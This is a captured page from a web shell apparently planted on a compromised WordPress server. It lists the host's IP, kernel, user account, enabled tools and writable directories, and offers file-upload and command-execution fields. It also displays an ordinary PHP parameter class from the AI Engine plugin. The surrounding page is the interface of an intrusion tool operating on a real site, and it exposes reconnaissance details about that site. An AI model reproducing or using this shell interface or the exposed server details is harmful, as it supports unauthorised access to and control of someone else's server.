403Webshell
Server IP : 69.72.244.102  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : konzalta ( 1271)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/konzalta/public_html/wp-content/plugins/ai-engine/classes/query/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/konzalta/public_html/wp-content/plugins/ai-engine/classes/query/parameter.php
<?php

class Meow_MWAI_Query_Parameter {
  public string $name;
  public ?string $description;
  public ?string $type;
  public ?bool $required;
  public ?string $default;

  public function __construct(
    string $name,
    ?string $description,
    ?string $type = 'string',
    ?bool $required = false,
    ?string $default = null
  ) {

    // Make sure the name is valid for JSON Schema
    if ( !preg_match( '/^\$?[a-zA-Z0-9_]{1,64}$/', $name ) ) {
      Meow_MWAI_Logging::error( "AI Engine: Invalid parameter name ($name) for Meow_MWAI_Query_Parameter." );
    }
    if ( !in_array( $type, [ 'string', 'number', 'integer', 'boolean', 'array', 'object' ] ) ) {
      Meow_MWAI_Logging::error( "AI Engine: Invalid parameter type ($type) for Meow_MWAI_Query_Parameter." );
    }

    $this->name = $name;
    $this->description = empty( $description ) ? '' : $description;
    $this->type = empty( $type ) ? 'string' : $type;
    $this->required = empty( $required ) ? false : $required;
    $this->default = $default;
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit